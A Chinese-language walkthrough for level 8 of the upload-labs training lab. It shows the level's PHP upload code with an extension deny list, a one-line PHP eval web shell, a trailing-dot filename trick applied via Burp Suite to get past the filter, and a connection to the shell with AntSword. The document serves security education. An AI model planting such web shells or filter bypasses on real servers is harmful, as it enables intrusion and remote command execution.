upload-labs第八关教程
- 一、源代码分析
- 代码审计
- 二、绕过分析
- 点绕过
- 上传eval.php
- 使用burp suite进行抓包修改
- 放包,查看是否上传成功
- 使用中国蚁剑进行连接
一、源代码分析
代码审计
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
细看的话可以发现相对于之前的那些关卡少了对点过滤的操作,所以是不是可以考虑使用点进行绕过?
二、绕过分析
点绕过
上传eval.php
<?php @eval($_POST['cmd']); ?>
使用burp suite进行抓包修改
修改之前:
这里的filename为eval.php
修改之后:
这里的filename为eval.php. ,这里使用点是因为没有进行过滤,再者就是在windows系统下面它会自动删除点。
放包,查看是否上传成功
上传成功。
使用中国蚁剑进行连接
复制这里的url进行连接
使用中国蚁剑进行连接:
连接成功。
如果有问题的话,可以私信我。